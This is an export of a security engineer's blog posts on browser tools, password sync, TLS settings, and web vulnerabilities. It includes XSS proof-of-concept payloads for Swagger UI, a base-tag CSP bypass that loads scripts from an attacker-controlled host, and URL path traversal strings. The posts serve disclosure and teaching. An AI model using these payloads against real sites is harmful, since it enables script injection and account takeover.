[{"content":"I\u0026rsquo;ve been working for a while on a new project in what start-ups call \u0026ldquo;stealth mode\u0026rdquo;. Technically, it\u0026rsquo;s been live for multiple months now, but I finally got around to writing about it. Let\u0026rsquo;s talk about it, shall we?\nThe general premise # It\u0026rsquo;s almost always at the most inconvenient time that you need some obscure utility to open, edit, or just access a file. Usually it\u0026rsquo;s for a relative or family member, so you start looking for a website you can send them to so they can get the one-off task done. You don\u0026rsquo;t want them to download malware, but at the same time, you don\u0026rsquo;t want them uploading their data to some shady, unvetted site that you quickly found.\nThere\u0026rsquo;s multiple other variations of this story, but the premise is always the same. You need a quick tool for a one-off task, and damn it, you just don\u0026rsquo;t want to install yet another thing or upload your data to God knows where to get the job done.\nI wanted to make something that I could trust to do these silly, small tasks but also just not suck.\nMy solution # Enter\u0026hellip; localonly.tools\nIt\u0026rsquo;s a static site with 70+ curated tools for scenarios I have either:\nrun into myself or while helping someone in a tech support role expect that others will run into and wanted to be prepared It started with the family tech-support stuff (PDFs, images, the usual suspects) and grew into the things I reach for at work too. The tools are split into a handful of categories:\nPDF: merge/split, compress, fill forms, place a signature, add or remove passwords, and redact. The redact tool flattens redacted pages to images, so no sneaky hidden text layer survives. Images \u0026amp; Media: compress/resize, crop, redact, strip EXIF data, OCR, background removal, and audio transcription Text \u0026amp; Code: text and JSON diffs, a regex tester, formatters for JSON/YAML/XML/SQL, and a Markdown editor Cryptography: hashing, checksum verification, AES and OpenPGP encryption, RSA/EC/Ed25519 key generation, and TOTP Security Inspectors: JWT, SAML, X.509 certificates, SSH keys, a CSP evaluator, and a secret/PII scanner to check logs before you share them Network: a PCAP analyzer, HAR viewer, Chrome NetLog viewer, Nmap report viewer, and a subnet calculator Data: viewers for CSV, Parquet, and SQLite (with a SQL query tab), plus a hex viewer and protobuf decoder Date \u0026amp; Time and Generators: epoch converters, cron parser, UUIDs, passwords, QR codes and barcodes, and more Everything runs in your browser through the power of JavaScript and WASM. No data is ever uploaded to a server because there isn\u0026rsquo;t one. Everything is hosted through Cloudflare Pages with zero backend.\nThe security and privacy guarantees # The only external requests that are made are:\nCloudflare Web Analytics: anonymous and cookieless page-view counts. Tool data is never part of an analytics event. Hugging Face model downloads: the AI/ML powered tools (Background Remover and Audio to Text) download their model files the first time you use them. Only the model files come down; your images and audio never leave the browser. The model is then cached, so later runs don\u0026rsquo;t download it again. That\u0026rsquo;s it.\nThe CSP for the site ensures that if anything ever were to get weird (say, a compromised dependency or an injected script), your browser is already instructed to block connections to other servers (except for the noted exceptions), so there\u0026rsquo;s nowhere to send your data. Your data stays on your machine. The tools run in your browser. And you don\u0026rsquo;t need to download some obscure one-off utility that may or may not contain malware.\nDon\u0026rsquo;t take my word for it # You can verify all of this yourself:\nOpen any tool, then open your browser\u0026rsquo;s developer tools (F12, or Cmd + Option + I on a Mac) and pick the Network tab Use the tool: paste some text, drop a file, generate a key Watch the requests. You\u0026rsquo;ll see files loading from localonly.tools and an anonymous page-view beacon, but nothing that carries your input Want to go one step further? Load a tool, then disconnect from the internet. Most tools keep working just fine.\nAnd finally, the ask for you # Give it a try! Help me test and find the bugs. I know they are probably there. Some of the file formats are obscure and come in many flavors. And if there\u0026rsquo;s a tool you wish existed that isn\u0026rsquo;t there yet, I want to hear about that too.\nYou can report bugs and request tools via issues on GitHub or email feedback to: feedback@localonly.tools. And if it saves you some time, you can buy me a coffee on Ko-fi \u0026#x2615;\n","date":"24 November 2026","externalUrl":null,"permalink":"/posts/2026/2026-11-24-localonly-tools/","section":"Posts","summary":"","title":"Local Only Tools: Browser Utilities That Never Upload Your Data","type":"posts"},{"content":"","date":"24 November 2026","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"24 November 2026","externalUrl":null,"permalink":"/tags/privacy/","section":"Tags","summary":"","title":"Privacy","type":"tags"},{"content":"","date":"24 November 2026","externalUrl":null,"permalink":"/tags/projects/","section":"Tags","summary":"","title":"Projects","type":"tags"},{"content":"","date":"24 November 2026","externalUrl":null,"permalink":"/tags/security/","section":"Tags","summary":"","title":"Security","type":"tags"},{"content":"Product Security Engineer focused on web application security, with a side of software development. I write here about the bugs I run into, the tools I build, and whatever else in tech has my attention at the moment.\nMore about me →\n","date":"24 November 2026","externalUrl":null,"permalink":"/","section":"Security, Tech, And Ramblings","summary":"","title":"Security, Tech, And Ramblings","type":"page"},{"content":"","date":"24 November 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"24 November 2026","externalUrl":null,"permalink":"/tags/tools/","section":"Tags","summary":"","title":"Tools","type":"tags"},{"content":"","date":"15 June 2022","externalUrl":null,"permalink":"/tags/java/","section":"Tags","summary":"","title":"Java","type":"tags"},{"content":"","date":"15 June 2022","externalUrl":null,"permalink":"/tags/kotlin/","section":"Tags","summary":"","title":"Kotlin","type":"tags"},{"content":"","date":"15 June 2022","externalUrl":null,"permalink":"/tags/scala/","section":"Tags","summary":"","title":"Scala","type":"tags"},{"content":"","date":"15 June 2022","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"},{"content":"","date":"15 June 2022","externalUrl":null,"permalink":"/tags/springfox/","section":"Tags","summary":"","title":"Springfox","type":"tags"},{"content":"","date":"15 June 2022","externalUrl":null,"permalink":"/tags/swagger/","section":"Tags","summary":"","title":"Swagger","type":"tags"},{"content":"","date":"15 June 2022","externalUrl":null,"permalink":"/series/vulns/","section":"Series","summary":"","title":"Vulns","type":"series"},{"content":"","date":"15 June 2022","externalUrl":null,"permalink":"/tags/xss/","section":"Tags","summary":"","title":"Xss","type":"tags"},{"content":"I got my weekly TL;DR Sec newsletter on Thursday morning. I regularly browse the headlines for fun things to check out whenever I might have some actual downtime. I noticed a post about XSS in Swagger UI at: Hacking Swagger-UI - from XSS to account takeovers\nI did the usual perusal, noted down the concerns, and popped right on over to Sourcegraph to determine the future of my Thursday. To my general dismay, I did have vulnerability tickets that needed filing. Oh well, part of the job, right? My quick investigation was based solely on what the post described which is that swagger-ui-dist provided as an NPM package had a vulnerable range of versions. This meant that I was focusing on package-lock.json and yarn.lock files.\nWhat struck me pretty quickly though was that I was already aware of projects that bundled the Swagger UI and were solely JVM-based (Java/Scala/Kotlin) projects. I needed to know how the heck those projects had the Swagger UI packaged with them, and boy, did I ever go down a rabbit-hole.\nThe deep-dive below is how my Thursday and subsequent days went sideways as I learned all the ways you can bundle, include, and/or just jam in the Swagger UI into your JVM-based project.\nI feel pretty confident this list is not exhaustive. Ping me with any other ways you can do this. I\u0026rsquo;d love to know! So, what’s the deal with Springfox? # Springfox plugs cleanly into Spring and allows for quick documentation via annotations and the like. It’s clear why people use it – writing documentation sucks, but making annotations in your code and having documentation autogenerate is sweet.\nImmediate concern: Springfox bundles Swagger UI instead of embedding a link to the latest version of the software. And, I’m sure you guessed it, Springfox bundles a vulnerable version of Swagger UI that is susceptible to XSS.\nSecondary concern: Springfox hasn’t been updated since July 13, 2020.\nSummarizing that last bit…\nIf you are using Springfox and allowing the Swagger UI to be accessible, your app is vulnerable to a Reflected XSS attack.\nAnother challenger enters the ring\u0026hellip; WebJars # You see, I was actually done writing this piece when I found WebJars. Let\u0026rsquo;s be clear. I\u0026rsquo;m not a Java/Kotlin/Scala developer, and hopefully that warning allows you to forgive my general ignorance for these things. I was blissfully unaware such a system existed that packaged up frontend code as a Jar and allowed you to manage backend dependencies alongside your frontend dependencies.\nIt\u0026rsquo;s actually quite neat, but it\u0026rsquo;s also a double edged sword. You see - when your frontend dependencies have vulnerabilities, they typically get reported up-the-chain and you get scary warnings in NPM and/or your dependency scanning tool of choice (eg. Snyk, SourceClear, XRay, etc).\nHowever, now these vulnerabilities need to also be cross-reported for WebJars since they are merely packaging javascript packages as Jars. In this particular case, I noticed that the original XSS issue in Swagger UI was never reported to the WebJars package meaning these dependencies are currently scanning \u0026ldquo;clean\u0026rdquo; when in-fact they are absolutely vulnerable.\nCue screaming\u0026hellip;\nSo, how about you prove it, Sean?! # In the security community, there’s a phrase \u0026ldquo;PoC or GTFO\u0026rdquo;. It’s a little aggressive, but it’s a fair mantra. Don\u0026rsquo;t go spreading FUD (Fear, Uncertainty, and Doubt) without providing proof that something is actually an issue. So, without further ado, below are my example apps for both Springfox and WebJars. Each one shows how including the vulnerable package results in a rather simple reflected XSS issue.\nseanmarpo/springfox-swagger-xss seanmarpo/webjars-swagger-xss Prefer to just try it yourself? Append the following to your service’s swagger URL:\n?configUrl=https://xss.smarpo.com/test.json Eg. https://my-awesome-test-service.example.com/swagger-ui.html?configUrl=https://xss.smarpo.com/test.json\nThe payload you are running is located at: seanmarpo/public-static-assets\nThe Fun Bits: What do we do now? # Snyk Signature # I have submitted all the evidence to Snyk to get a signature created as soon as possible for both issues. This will mean that Snyk will begin finding these issues soon \u0026#x2122;\u0026#xfe0f;. I don\u0026rsquo;t have much of a timeframe though, so keep the fingers crossed.\nSpringfox Mitigation and Solutions # It’s pretty clear to me that it is unlikely for us to get a patched version of Springfox. The good news is that a replacement library exists and is actively maintained: SpringDoc\nSpringDoc maintains a handy guide on migrating from Springfox located at: OpenAPI 3 Library for spring-boot which is currently the best path forward.\nWebJars Solutions # Since WebJars keep up with frontend packages, you just need to update your org.webjars:swagger-ui package to anything higher than 3.36.2. \u0026#x1f389;\nGeneral Mitigations # Don\u0026rsquo;t expose your Swagger UI and/or stop bundling the Swagger UI with your software! Swagger has a public viewer at: https://editor.swagger.io/ which will gladly render your YAML/JSON OpenAPI spec without YOU needing to host the viewer yourself.\nBasically, don\u0026rsquo;t add extra attack surface to your application, especially when it\u0026rsquo;s not your own code.\n","date":"15 June 2022","externalUrl":null,"permalink":"/posts/2022/2022-06-15-springfox-xss-via-outdated-swagger-ui/","section":"Posts","summary":"","title":"XSS, Swagger UI, and Java - A Story in Three Parts","type":"posts"},{"content":"","date":"22 March 2022","externalUrl":null,"permalink":"/tags/keepass/","section":"Tags","summary":"","title":"Keepass","type":"tags"},{"content":"","date":"22 March 2022","externalUrl":null,"permalink":"/tags/keeshare/","section":"Tags","summary":"","title":"Keeshare","type":"tags"},{"content":"Password managers are all the craze nowadays. The general advice seems to be something along the lines of: \u0026ldquo;use a password manager, set a unique password for every site, and be less stressed about remembering a million things\u0026rdquo;. It\u0026rsquo;s safe to say that more and more people are being pushed to use password managers. And by all means, you absolutely should use a password manager. Today\u0026rsquo;s post outlines a particularly useful feature of KeepassXC that makes it behave more like a cloud-based password manager.\nIncoming personal opinion, disregard if you are just here for the tutorial Cloud based password managers scare the absolute crap out of me. It\u0026rsquo;s a hot-take, I know. Because of this, I like using an offline solution to manage my general password \u0026ldquo;complexness\u0026rdquo;. I also suggest you consider doing the same. Why? Well, I don\u0026rsquo;t know what Lastpass or 1Password are doing with my data. It\u0026rsquo;s going somewhere, sure, but where? How many times is it being copied? Is it actually encrypted? Agh! I probably sound paranoid, but it\u0026rsquo;s this general paranoia that pushes me to use offline password managers.\nSome background # Keepass-based password managers are fantastic until you want to manage your password database from multiple different devices. When all of your devices update, add, and remove entries from your Keepass database, everything almost immediately begins to break down.\nThe makers of KeepassXC created, in my opinion, a rather elegant solution to keeping your Keepass database in-sync between multiple trusted computers. They call it Keeshare.\nKeeshare can be used in a few different ways, but in today\u0026rsquo;s post, I\u0026rsquo;ll be describing the Synchronize setup. In this setup, all computers that utilize Keeshare are kept in-sync with each-other. If any computer makes a change, that change propagates to all other computers using a single file that stores database changes/differences.\nRequirements # KeepassXC is installed and you have a Keepass database setup A cloud or local syncing software is setup (eg. Dropbox, Google Drive, OneDrive, Synology Drive, etc) I will be using Google Drive in this post A second computer (or computers) with KeepassXC (new/empty database) and the same cloud/local syncing software installed and configured Setting up Keeshare # Let\u0026rsquo;s get rolling. Identify the computer that already has the Keepass database with entries. We are starting with this computer.\nOpen the KeepassXC settings, and find Keeshare on the bottom of the left scrolling section. Click Generate and write something describing your device in the Signer section. The signer value is shown to other devices in the Keeshare sync group, so picking something to easily identify devices is generally helpful. Check Allow import and Allow export\nOn your second (and third, and on) device(s), go ahead and follow these steps again\nAnd now you\u0026rsquo;re done! You\u0026rsquo;ve configured your devices to use Keeshare, allow for import of entries, and allow for export of entries. You have also created a signing certificate for each computer and assigned a name for the signature.\nSynchronizing Entries # Now, we need to setup what entries to synchronize between machines\nThe following steps will synchronize ALL entries between all machines. If you do not want to do this, make sure you DO NOT select Root and instead select a different group for the entries you want to synchronize. Right click on the Root group entry\nClick Edit Group\nFind Keeshare on the left scrolling section, set Type to Synchronize \u0026ndash; You can find more information about the different sharing types here\nSave the keeshare sync file somewhere monitored by your file sync software (eg. Google Drive, Dropbox, etc). If using Google Drive Sync, this will be G:\\... on Windows. Just make sure where ever you save this file, your file sync software is monitoring this file for changes.\nPick a strong password to secure your keeshare sync file. This password should be different than your keepass database password and should be considered just as sensitive.\nGo ahead and follow these steps on all other devices. Ensure you use the same file name and password for all other computers. And you\u0026rsquo;ve successfully setup your KeepassXC to write Keeshare sync information to a file. That file should be monitored by your preferred file sync software for changes, and the file sync software should distribute the file between all computers as changes are made.\nForcing an initial sync # Hang on - we\u0026rsquo;re almost finished. We need to make a simple change on each connected device so that all of our devices are aware of each-other\u0026rsquo;s existence. Simply put, we are creating a trust relationship between each connected device. We do this once for every new device.\nThe easiest way to force a sync is to make a minor tweak to any Keepass entry which will force Keeshare to write a sync file change. It can be as simple as writing a note in an entry or updating an outdated password. Any change will do.\nMake a change to any entry \u0026ndash; something as simple as a note will work\nWait for your file synchronization software to sync changes between devices\nA pop-up should appear on all other devices asking to Import from container with certificate\nAt this point, you should validate the following pieces of information:\nThe name matches the other device\u0026rsquo;s Signer The fingerprint displayed matches the other device\u0026rsquo;s Fingerprint from Setting Up Keeshare Select Always if you never want to be prompted again\nIt\u0026rsquo;s advised to do this on every device, so you can create all the necessary trust relationships upfront instead of getting pop-ups in the future.\nAnd now you\u0026rsquo;re done!\nWrapping Up # Here\u0026rsquo;s a quick summary of what was just accomplished.\nAll participating devices were configured to allow import and export using Keeshare. A client certificate was created for each device and hopefully appropriately named. The root Keepass group (the top-most group) was setup with Keeshare to write changes to a local file. Now, whenever a Keepass database change happens, the difference is written to a Keeshare file. That file is tracked by external syncing software and distributed to all other devices. Each device reads that Keeshare difference file, rectifies the changes, and incorporates the changes into the current local Keepass database.\nWhew - Sounds complex, but luckily, Keeshare handles all of it relatively seamlessly.\n","date":"22 March 2022","externalUrl":null,"permalink":"/posts/2022/2022-03-17-keeshare-sharing-your-keepass-database-between-devices/","section":"Posts","summary":"","title":"Keeshare: Syncing Your Keepass Database Between Devices","type":"posts"},{"content":"","date":"22 March 2022","externalUrl":null,"permalink":"/tags/password/","section":"Tags","summary":"","title":"Password","type":"tags"},{"content":"","date":"22 March 2022","externalUrl":null,"permalink":"/tags/password-manager/","section":"Tags","summary":"","title":"Password Manager","type":"tags"},{"content":"","date":"10 March 2022","externalUrl":null,"permalink":"/tags/atlassian/","section":"Tags","summary":"","title":"Atlassian","type":"tags"},{"content":"Writing an app for the Atlassian cloud platform? Were you aware you need to meet security requirements for your app? Does this all seem oddly specific for a random blog post? Is it truly a cliche to start a post with a collection of questions? \u0026ndash; Probably. I\u0026rsquo;ll stop now.\nIn today\u0026rsquo;s post, I\u0026rsquo;m going to describe how you can meet (most) of the Atlassian Security Requirements by simply fronting your Atlassian connect app with Cloudflare.\nNo code changes are required, seriously. Getting Started # Ensure you have a Cloudflare account setup. If not, ensure you sign-up for a new account: https://dash.cloudflare.com/sign-up\nNext, make sure you have your primary domain\u0026rsquo;s nameservers configured for Cloudflare. Cloudflare has a handy developer guide for this particular situation. If you require a more advanced setup, there are also docs for that too.\nEnsuring your app\u0026rsquo;s subdomain is being proxied # From your site\u0026rsquo;s Cloudflare Menu, select DNS from the left-hand menu.\nFind your app\u0026rsquo;s relevant DNS entry, and ensure it is Proxied.\nUpdating Cloudflare SSL/TLS Settings # Now that all the necessary preparations have been checked, we can update a few Cloudflare settings to make your app compliant with the Atlassian SSL/TLS requirements.\nFirst off, let\u0026rsquo;s navigate to the SSL/TLS menu, then click Edge Certificates from the left-hand menu.\nEnabling HTTP Strict Transport Security (HSTS) # We enable HSTS to meet Requirement #1 of the Atlassian Security Requirements for Cloud Apps.\nUnder the SSL/TLS -\u0026gt; Edge Certificates Cloudflare menu, find the HTTP Strict Transport Security (HSTS) section by scrolling down.\nClick Enable HSTS, carefully read the acknowledgement and then proceed.\nOn the Configure screen, ensure you enable HSTS and for safety set the Max Age to 0 for now. This will ensure you can confirm things are working before setting the HSTS Max Age to be a longer value.\nSetting Minimum TLS Version # We restrict the TLS version accepted by our app to meet Requirement #1 of the Atlassian Security Requirements for Cloud Apps.\nUnder the SSL/TLS -\u0026gt; Edge Certificates Cloudflare menu, find the Minimum TLS Version section by scrolling down.\nSet the minimum TLS version to TLS 1.2.\nLet\u0026rsquo;s test our changes # Let\u0026rsquo;s confirm that everything looks good from an external scanner\u0026rsquo;s perspective.\nWe can use Qualys\u0026rsquo; SSL Labs tester to see what our app now shows to an external visitor. Navigate over to: https://www.ssllabs.com/ssltest/ and enter your app\u0026rsquo;s connect descriptor URL.\nOnce one of the IP addresses finishes being scanned, confirm that only TLS 1.2 and higher protocols are accepted. All lower protocols (eg. TLS 1.1, TLS 1.0, SSL 3) should not be accepted.\nNow, you will need to go and update your HSTS settings to be something with a longer Max Age than 0. You can choose 1 Month if you are concerned about breaking access to your site. You can increase this value over time as your confidence grows.\nAnd you\u0026rsquo;re done! # Wait, what? That was only two minor tweaks. You are correct, but those are two things that are notoriously difficult to setup from application code / server configuration. These are also the primary things Atlassian is automatically scanning for to confirm your app is compliant.\nCloudflare will also ensure your HTTPS certificates never expire, since they manage them. They will also ensure you do not lose control of your domain by sending you email reminders about domain renewal.\n","date":"10 March 2022","externalUrl":null,"permalink":"/posts/atlassian-connect-using-cloudflare-to-meet-security-requirements/","section":"Posts","summary":"","title":"Atlassian Connect: Using Cloudflare to Meet Security Requirements","type":"posts"},{"content":"","date":"10 March 2022","externalUrl":null,"permalink":"/tags/cloudflare/","section":"Tags","summary":"","title":"Cloudflare","type":"tags"},{"content":"","date":"10 March 2022","externalUrl":null,"permalink":"/tags/connect/","section":"Tags","summary":"","title":"Connect","type":"tags"},{"content":"","date":"10 March 2022","externalUrl":null,"permalink":"/tags/security-requirements/","section":"Tags","summary":"","title":"Security Requirements","type":"tags"},{"content":"I was recently working on a security review, and I came across an anti-pattern I\u0026rsquo;ve seen time and time again. Sure, it might be obvious, but this was a relatively tenured developer who suggested this particular solution. It\u0026rsquo;s seemingly pervasive enough that it warrants digging into. So, with that in mind, let\u0026rsquo;s chat about path traversal and SSRF.\nThe Context # I was performing an app/code review of a new \u0026ldquo;thing\u0026rdquo; to keep this vague enough. The new \u0026ldquo;thing\u0026rdquo; would be integrating with an API which user-supplied data was used to generate the API\u0026rsquo;s final URL. I\u0026rsquo;m including an example below to make sense of my lackluster use of English. Sorry \u0026#x1f62c;\nhttps://api.example.com/v2/{event}/{key}?environment=production\nThis is the URL that is being built based off of two user-supplied variables:\nevent key The initial vulnerability # In this particular case, I called out that there was opportunity for a malicious user to perform a path traversal on the generated URL, refer to the example below for how that would work.\nhttps://api.example.com/v2/../other_api_endpoint/super_malicious#/key?environment=production\nBy setting the event to ../other_api_endpoint/super_malicious#, we can change the endpoint that the integration is making its final request to. Usage of the # can be used to effectively negate part of the URL to the right of the #.\nThis results in the following \u0026ldquo;resolved\u0026rdquo; URL:\nhttps://api.example.com/other_api_endpoint/super_malicious\nObviously, this is a completely different location than the application intended to make a request to and likely will result in undesirable behavior.\nHow to weaponize this # Below are a few ways this could be used to cause actual damage, in worst to least concerning order:\nFind an open redirect in the API and use it to steal Authorization or Authentication headers Confirmed in NodeJS that the Authorization and other headers are sent when a redirect is encountered Perform state changing actions against the API Only applicable if the request is performing a state-changing action, and you can control the body of the request in a significant way Leak data from the API by calling other endpoints and seeing what information is returned Only applicable if you can see the API response The proposed fix # The proposed fix sanitized user supplied data against a regex denylist. Only alphanumeric characters, periods, dashes, and underscores were allowed, aka the following regex: [^a-zA-Z0-9\\.\\-\\_]\nThis was done because the event and key parameters, according to the API specification, could only fall in that character space.\nOn the surface, this seems like a reasonable solution. Slashes are not allowed, and # are not allowed. Both of which we needed to perform a path traversal earlier. But let\u0026rsquo;s revisit our URL again and get creative\u0026hellip;\nGetting creative # https://api.example.com/v2/{event}/{key}?environment=production\nWhat if we set event to ..\nand what if we also set key to other_api_endpoint\nOur resolved URL would still be:\nhttps://api.example.com/other_api_endpoint?environment=production So, in this case, we can still make the integration request other endpoints. Albeit, the options for other endpoints is now smaller, but there is still a risk present.\nSolving path traversal issues (for good) # URL/Percent encoding - If you read nothing more, this is the answer in most cases.\nNow, for this specific case, URL Encoding actually does not prevent our new \u0026ldquo;lesser\u0026rdquo; path traversal issue. URL Encoding will keep dots as they are legal URL characters. In situations where a user controls two different path elements directly next to each other, you can still have a valid path traversal issue even though you URL encode the user\u0026rsquo;s input.\nIt is a good idea to denylist strings solely containing \u0026lsquo;..\u0026rsquo; (two dots). Otherwise, single dots and more than two dots are perfectly fine. URL encoding in practice # When building URL path parameters, you want to individually encode each path parameter, then construct your URL.\nWhen building URL query parameters, you can safely encode all parameters in one swoop.\nRead more about URL Encoding at: https://javascript.info/url#encoding\nApplying to this vulnerability # Revisiting our original attack vector, using URL encoding the result would look like:\nhttps://api.example.com/v2/{event}/{key}?environment=production \u0026ndash;\u0026gt; https://api.example.com/v2/..%2Fother_api_endpoint%2Fsuper_malicious%23/key?environment=production\nAs you can see, the / and # are encoded such that they are no longer control characters in defining the path of the resulting URL. The API being called will likely not handle this input well, but it will not result in a completely different API endpoint being called.\nRevisiting our more creative attack vector, using URL encoding the result would look like:\nhttps://api.example.com/v2/{event}/{key}?environment=production \u0026ndash;\u0026gt; https://api.example.com/v2/../other_api_endpoint?environment=production\nAs you can see, the double dots are not encoded, and thus the attack still works. This particular example stresses why it is so important to filter out .. inputs for path parameters. Otherwise, you are no better off.\nReferences and Relevant Documentation # encodeURI() encodeURIComponent() Python - urllib.parse.quote Java - URLEncoder .NET - HttpUtility.UrlEncode ","date":"12 February 2022","externalUrl":null,"permalink":"/posts/path-traversal-and-ssrf/","section":"Posts","summary":"","title":"Path Traversal and SSRF","type":"posts"},{"content":"","date":"12 February 2022","externalUrl":null,"permalink":"/tags/path-traversal/","section":"Tags","summary":"","title":"Path-Traversal","type":"tags"},{"content":"","date":"12 February 2022","externalUrl":null,"permalink":"/tags/ssrf/","section":"Tags","summary":"","title":"Ssrf","type":"tags"},{"content":"","date":"12 February 2022","externalUrl":null,"permalink":"/tags/url/","section":"Tags","summary":"","title":"Url","type":"tags"},{"content":"","date":"24 October 2021","externalUrl":null,"permalink":"/tags/presearch/","section":"Tags","summary":"","title":"Presearch","type":"tags"},{"content":" Archived: Presearch has since shut down, and the presearch-node-utils repository has been removed along with it. This post is kept for posterity, but the project and links it references no longer exist. \u0026#x1f44b; Hello, hello.\nI\u0026rsquo;ve recently become more and more involved with a few different crypto projects. Presearch was one of the first few I came across that I truly liked. It\u0026rsquo;s definitely in its infancy, but I love the idea of a better search solution that tracks less of you. And hey, you get rewarded PRE tokens for searching which is equivalent to a small amount of real money. Win, win, I suppose.\nSo, when I read that I could assist the project by running my own \u0026ldquo;node\u0026rdquo;, I was stoked. Running a Presearch Node essentially means you are providing a relay for search traffic to travel through when attempting to grab results from other search engines. You are then rewarded in PRE tokens for providing a node that has low latency and successfully completes search requests.\nThe Problem # While setting up my first node, I stumbled across the docker setup script. Turns out that installing Docker CE on Ubuntu is a small mess, so the setup script was significantly easier/quicker. The simplicity of curl | bash inspired me to do something similar to setup a Presearch Node.\nThere are inherent security risks with directly piping HTTP content to bash. It\u0026rsquo;s important that you understand what you are downloading before blindly running a web result with bash. Ensure you review the bash script before EVER piping curl to bash The Solution # I created a set of simple bash scripts that you can use to perform standard tasks on a Presearch Node. For now, you can use them to setup, backup, and restore a Presearch Node.\nThe repository used to live at github.com/seanmarpo/presearch-node-utils (since removed).\nEvery utility can be run via a curl ... | bash type operation to ensure ease of use and least amount of system dependencies.\nInterested in running your own node? # It was never my intent to try and sell you on running a Presearch Node. But hey, if you think you want to give it a shot, here\u0026rsquo;s the basic steps \u0026ndash; and heck, you can even use my scripts \u0026#x1f44f;\nAt the time, you could read about the requirements and expectations on the Presearch nodes site, then fill out a request-to-join form and be approved within 24-48 hours.\nWrapping Up # That was the state of things back in 2021. With Presearch gone, this project is retired too \u0026ndash; thanks to everyone who used the scripts.\n","date":"24 October 2021","externalUrl":null,"permalink":"/posts/presearch-node-utils/","section":"Posts","summary":"","title":"Presearch Node Utils","type":"posts"},{"content":"\u0026#x1f4e3; Hello, hello. \u0026#x1f4e3;\nDon\u0026rsquo;t mind me, just a stray first post rolling through.\nNothing was planned for this post, so now this is all we have. Sorry to disappoint.\n","date":"5 October 2021","externalUrl":null,"permalink":"/posts/hello-world/","section":"Posts","summary":"","title":"Hello World","type":"posts"},{"content":"","date":"5 October 2021","externalUrl":null,"permalink":"/tags/updates/","section":"Tags","summary":"","title":"Updates","type":"tags"},{"content":" I wrote this in January 2020 on my old Blogger site but never hit publish. It\u0026rsquo;s finally out of the drafts folder. Yeah, yeah, bad meme. I\u0026rsquo;m sorry. But I had truly never heard of the base tag until I was recently triaging a bug bounty report, and I ended up bypassing the proposed fix with\u0026hellip; you guessed it, the base tag.\nWhat even is the base tag? # Like all good learning opportunities, I always suggest checking out the Mozilla Developer Network (MDN) first. I\u0026rsquo;ve personally found their articles to be incredibly helpful when I\u0026rsquo;m trying to understand a web specification rather than reading the spec itself.\nhttps://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/base\nSimply put, the base tag defines the base URL to be used when a relative URL is supplied in the page. Below is a more explained example in the form of a real HTML snippet.\n\u0026lt;!-- Inject a \u0026lt;base\u0026gt; tag before any relative URLs on the page... --\u0026gt; \u0026lt;base href=\u0026#34;https://evil.com\u0026#34;\u0026gt; \u0026lt;!-- ...and these relative src attributes now resolve to: https://evil.com/img/logo.png https://evil.com/js/main.js --\u0026gt; \u0026lt;img src=\u0026#34;/img/logo.png\u0026#34;\u0026gt; \u0026lt;script src=\u0026#34;/js/main.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;!-- So, you can imagine the kind of damage you can do if you can inject a \u0026lt;base\u0026gt; tag into a webpage --\u0026gt; Great, so what happened? Say hello to CSP! # The long story condensed to a short one - A very, very basic reflected cross-site scripting (XSS) issue was reported to the bug bounty program. No big deal, I figured, file a ticket with clear steps on reproduction, and it\u0026rsquo;ll get fixed. Or so I thought\u0026hellip;\nThe proposed and deployed fix to the bug was adding a Content-Security-Policy (CSP) to all HTTP responses and calling it a day.\nNow, let\u0026rsquo;s just get a few things out on the table. CSP is great as a defense-in-depth measure. I firmly believe more people should establish a well thought out CSP for their web apps. But, you should never solve an easily fixed XSS issue by applying a CSP and walking away.\nSo, what does a mildly annoyed engineer do? Bypass the dang CSP and add a new Proof-of-Concept (PoC) payload to the ticket, of course! Down the rabbit hole we go\u0026hellip;\nEvaluating CSPs # There\u0026rsquo;s a real great Google CSP Evaluator application that will evaluate a CSP and report potential issues. You can check it out at: https://csp-evaluator.withgoogle.com/\nThis is where I started, and I highly suggest you do something similar when asked to evaluate the efficacy of any CSP.\nThis, of course, leads us to the output from our development site when evaluating the CSP.\nEverything seems good, lots of green, and then you notice the bottom note which says:\nMissing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to \u0026rsquo;none\u0026rsquo; or \u0026lsquo;self\u0026rsquo;?\nWhy does this get past the CSP? # Take a closer look at the script-src directive: 'nonce-...' 'strict-dynamic'. With a nonce-based CSP, the browser trusts any \u0026lt;script\u0026gt; tag that carries the right nonce, and 'strict-dynamic' tells it to ignore host allowlists entirely. The site\u0026rsquo;s own script tags have the nonce, so they\u0026rsquo;re trusted no matter where their src points.\nThat\u0026rsquo;s the whole trick. I can\u0026rsquo;t add a script tag of my own (I don\u0026rsquo;t know the nonce), but I don\u0026rsquo;t need to. If I can change where the site\u0026rsquo;s existing, trusted script tags load from, the browser will happily run my JavaScript with the site\u0026rsquo;s blessing. And a base tag does exactly that for any script tag using a relative URL.\nPutting it all together - PoC or GTFO # Combining all things together we have the following scenario:\nKnown, working reflected XSS allowing basically anything through A mostly solid CSP, but it allows redefining the base-uri An annoyed engineer who wants to prove a point Taking the knowledge from above, the first thing we look for are links in the response that are relative. Without any relative links, defining a base tag in the response will get us nothing. They also need to come after our injection point in the page, since the base tag only affects URLs that are resolved after it shows up (and if the page already has its own base tag, the first one wins).\nThe good news: we have relative CSS and Javascript sources further down the page. Woo!\nNow, we just adjust the original payload to be a base tag like so:\nhttps://example.com/user/sign-up/next?email=\u0026lt;base href=\u0026#34;https://poc.smarpo.com\u0026#34;\u0026gt; We have a subdomain pointed at an internet-facing server we control. In my case, that\u0026rsquo;s a throwaway DigitalOcean machine. We create the directory structure required by the website. For example, the javascript source looked like: src=\u0026quot;/js/main/frontend/includes.js\u0026quot; - So, we create the directories required: js, main, frontend, and finally place our XSS payload inside of includes.js on our remote server. Then you can launch a simple python web server to serve your malicious JS file.\nNow when our payload URL is requested, any relative links will be served from my domain but in the context of the victim website. A simple alert(document.domain) payload will prove this.\nSo, what\u0026rsquo;s the point? # A few takeaways here:\nDon\u0026rsquo;t ever attempt to solve XSS with only CSP. Focus on framework-level mitigations where possible, but if not an option, sanitize your output for the appropriate context. HTML/URL encode where it makes sense. JS escape where it makes sense. And never, ever trust user-input to be safe. If you do deploy a nonce-based CSP (which you should!), always include base-uri 'none' (or 'self' if you actually use a base tag). base-uri 